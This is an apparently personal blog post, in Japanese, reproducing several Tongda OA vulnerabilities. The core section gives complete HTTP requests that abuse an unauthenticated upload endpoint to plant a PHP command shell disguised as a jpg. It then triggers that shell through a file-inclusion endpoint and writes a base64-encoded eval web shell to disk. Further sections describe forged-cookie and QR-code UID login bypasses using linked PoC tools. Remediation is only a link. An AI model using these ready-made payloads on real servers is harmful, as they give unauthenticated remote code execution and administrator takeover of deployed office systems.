banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

通达OAの脆弱性再現

通达 OA の紹介#

通达 OA は北京通达信科科技有限公司が提供する "Office Anywhere 通达ネットワークインテリジェントオフィスシステム" です。

ファイルアップロード&ファイル包含 getshell#

脆弱性情報:

3 月 13 日、通达 OA は公式フォーラムで通知を発表し、最近ユーザーからランサムウェア攻撃の報告を受け、安全リスクに注意するようユーザーに警告し、同日にすべてのバージョンに対して強化パッチをリリースしました。

影響を受けたバージョンでは、攻撃者は認証なしでサーバーに jpg 画像ファイルをアップロードし、そのファイルを包含することでリモートコード実行を引き起こすことができます。この脆弱性はログインなしでトリガーされます。

脆弱性レベル:高危

脆弱性影響バージョン:

  • V11 版
  • 2017 版
  • 2016 版
  • 2015 版
  • 2013 拡張版
  • 2013 版

脆弱性原理:

この脆弱性は以下の 2 つのリンクに存在します:

任意ファイルアップロード脆弱性  /ispirit/im/upload.php
ローカルファイル包含脆弱性  /ispirit/interface/gateway.php
一部のバージョンではgateway.phpのパスが異なります
2013年:
/ispirit/im/upload.php
/ispirit/interface/gateway.php
2017年:
/ispirit/im/upload.php
/mac/gateway.Php
この記事で使用しているv11バージョンのパスは
/ispirit/im/upload.php
/ispirit/interface/gateway.php
任意ファイルアップロード脆弱性のパスにアクセスします /ispirit/im/upload.php

通达 OA はzendで暗号化されており、SeayDzendツールを使用して復号化する必要があります。

このツールもSeayの手によるものです(Seay のソースコード監査システムはこの師から生まれました)。

オンラインの復号化サイトを使用することもできます。

パッチ適用前後のファイルispirit/im/upload.phpを比較すると以下のようになります:

image

upload.phpは修正前に$Pが非空であればauth.phpの検証を通過せずに後続のコードを実行できることがわかります。

このロジックを利用してログイン検証をバイパスし、直接ファイルをアップロードできます。

次に$DEST_UIDに遭遇した際も、POSTの方法で自分で値を設定できます。

image

次にファイルの判断ポイントに到達します。この時、ファイルアップロードの変数名はATTACHMENTであることがわかります。

image

upload関数を追跡し、ファイルinc/utility_file.phpにジャンプします。

ここではアップロードされたファイルに対して一連のチェックが行われており、ブラックリストなどの制限が含まれています。

image

したがって、jpg形式のphpコードをアップロードし、その後ファイルを包含すれば良いのです。

脆弱性再現:

まず、11.3 のインストーラをダウンロードします。

ソースコードをダウンロードした後、すべてデフォルトでインストールし、次へ進みます。インストール後、localhostまたはローカルのipにアクセスします。

ログイン画面

未ログイン状態で任意ファイルアップロード脆弱性のパス/ispirit/im/upload.phpにアクセスします。

image

アクセスパスは- ERR ユーザー未ログインと表示されます。この時、burp でパケットをキャッチし、以下のように変更します:

POST /ispirit/im/upload.php HTTP/1.1
Host: 10.103.51.104
Content-Length: 655
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryBwVAwV3O4sifyhr3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="P"


------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundaryBwVAwV3O4sifyhr3
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg

<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>

------WebKitFormBoundaryBwVAwV3O4sifyhr3--

ここではCOMコンポーネントwscript.shellを使用してdisable_functionをバイパスしています。

image

フォルダを開くと、ログイン検証を経ずに jpg ファイルが正常にアップロードされたことが確認できます:

image

次にファイル包含を利用するリンク/ispirit/interface/gateway.phpにアクセスします。

POSTjsonに値を設定し、keyurlvalueをファイルの位置に指定します。

以下のように変更します:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: 10.103.51.104
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 70

json={"url":"/general/../../attach/im/2009/1066533428.jpg"}&cmd=whoami

image

コマンドが正常に実行されました!画像の内容を変更して、書き込みの一文を実行するコマンドにすることもできます:

<?php
$fp = fopen('test.php', 'w');
$a = base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==");
fwrite($fp, $a);
fclose($fp);

image

ファイル名を変更してパケットを送信し、ファイル包含を実行した後、shellが正常に書き込まれました:

image

修正提案:

公式通知:https://www.tongda2000.com/news/p673.php

参考記事:

任意フロントエンドログイン脆弱性#

脆弱性情報:

通达 OA は国内で一般的に使用されるオフィスシステムであり、今回のセキュリティ更新で修正された高危脆弱性は任意ユーザーログイン脆弱性です。攻撃者はリモートで未承認の状態で、この脆弱性を利用して任意のユーザーとしてシステムに直接ログインできます(システム管理者を含む)。

脆弱性レベル:高危

脆弱性影響バージョン:

  • 通达 OA < 11.5.200417

脆弱性原理:

復号化ツールは第一部の脆弱性原理を参照してください。

脆弱性再現

まず、ログイン画面を開いてcookieを確認します:

image

POCツールTongDaOA-Fake-Userを使用してリンクcookieを取得します:

image

元のcookiePOCで取得したcookieに変更します:

image

/general/index.phpにアクセスすると、システムに直接アクセスできます:

image

修正提案:

参考記事:

任意ユーザーログイン脆弱性(匿名 RCE)#

脆弱性情報:

任意ユーザー(管理者を含む)ログイン脆弱性のトリガーポイントは QR コードログイン機能にあり、サーバー側は UID のみを取得してユーザーの身分を識別しています。UID は整数の増加 ID であるため、指定された UID のユーザー(admin のデフォルト UID は 1)にログインできます。

脆弱性レベル:高危

脆弱性影響バージョン:

  • 通达 OA v2017、v11.x < v11.5 QR コードログインバージョンをサポート

脆弱性原理:

v11.5はクライアント QR コードログインとWeb側 QR コードログインインターフェースを修正しました。

Web 側の QR コードログインプロセスは大まかに 4 つのステップに分かれます:

  • Web 側が /general/login_code.php?codeuid = ランダム文字列 にアクセスし、QR コードを生成します。codeuid はこの QR コードの証明書です。

  • Web 側がループリクエストを通じて /general/login_code_check.php に codeuid を送信し、誰かがこの QR コードをスキャンしたかどうかを判断します。

  • モバイル端末がこの QR コードをスキャンし、codeuid などのデータを /general/login_code_scan.php サーバーに送信して保存します。

  • Web 側が login_code_check.php を通じて codeuid などのスキャンデータを取得した後(実際にはこのデータを取得する時点で$_SESSION["LOGIN_UID"]がログインされます)、Web 側から logincheck_code.php に送信してログインします。

Web 側のログインリクエストスクリプトは以下の通りです:

脆弱性再現:

POC&EXPツール:https://github.com/zrools/tools/tree/master/python

image

image

修正提案:

参考記事:

任意ファイル削除 getshell#

本文完。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。